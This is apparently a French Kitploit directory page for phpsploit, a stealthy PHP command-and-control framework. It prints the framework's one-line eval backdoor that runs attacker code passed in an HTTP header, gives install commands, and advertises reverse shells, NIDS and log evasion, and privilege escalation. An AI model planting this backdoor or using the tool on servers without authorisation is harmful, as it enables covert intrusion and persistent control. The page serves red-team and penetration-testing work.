Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

Répertoire d'outils

Catégories

Voir toutes les catégories

Loading categories

phpsploit — Framework C2 complet qui persiste silencieusement sur le serveur web avec une backdoor PHP en une seule ligne | Kitploit

Outils/

GitHub/nil0x42/phpsploit

Frameworks de Tests d'Intrusion Escalade de Privilèges Frameworks d'Exploitation Mécanismes de Persistance Exploitation d'Applications Web Post-Exploitation Commandement et Contrôle Red Teaming Développement de Charges Utiles

nil0x42/phpsploit

phpsploit

Framework C2 complet qui persiste silencieusement sur le serveur web avec une backdoor PHP en une seule ligne

2.5k468109il y a 2 ans

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

Framework C2 complet qui persiste silencieusement sur
un serveur web via un oneliner PHP polymorphe

codeclimate maintainability

_{Créé par
nil0x42 et
contributeurs}

Aperçu

La communication obfusquée est réalisée en utilisant des en-têtes HTTP dans les requêtes client standard et les réponses relatives du serveur web, tunnelée via un minuscule backdoor polymorphe :

root@kitploit:~

<?php @eval($_SERVER['HTTP_PHPSPL01T']); ?>

Démarrage rapide

root@kitploit:~

git clone https://github.com/nil0x42/phpsploit
cd phpsploit/
pip3 install -r requirements.txt
./phpsploit --interactive --eval "help help"

Fonctionnalités

Efficace : Plus de 20 plugins pour automatiser les tâches d'élévation de privilèges
- Exécuter des commandes et parcourir le système de fichiers, en contournant les restrictions de sécurité PHP
- Télécharger/Téléverser des fichiers entre le client et la cible
- Modifier des fichiers distants via un éditeur de texte local
- Lancer une console SQL sur le système cible
- Générer des shells TCP inversés
Furtif : Le framework est conçu par des paranos, pour des paranos
- Quasiment invisible par l'analyse des logs et la détection de signatures NIDS
- Contournement du mode sans échec et des restrictions de sécurité PHP courantes
- Les communications sont cachées dans les en-têtes HTTP
- Les charges utiles chargées sont obfusquées pour contourner les NIDS
- Prise en charge des proxys http/https/socks4/socks5
Pratique : Une interface robuste avec de nombreuses fonctionnalités essentielles
- Aide détaillée pour toute option (commande help)
- Multiplateforme à la fois client et serveur
- L'interface en ligne de commande prend en charge l'auto-complétion et les multi-commandes
- Fonctionnalité de sauvegarde/chargement de session et historique persistant
- Prise en charge des requêtes multiples pour les charges utiles volumineuses (telles que les téléversements)
- Fournit un moteur de paramètres puissant et hautement configurable
- Chaque paramètre, comme le user-agent, dispose d'un mode polymorphe
- Variables d'environnement personnalisables pour l'interaction des plugins
- Fournit une API complète de développement de plugins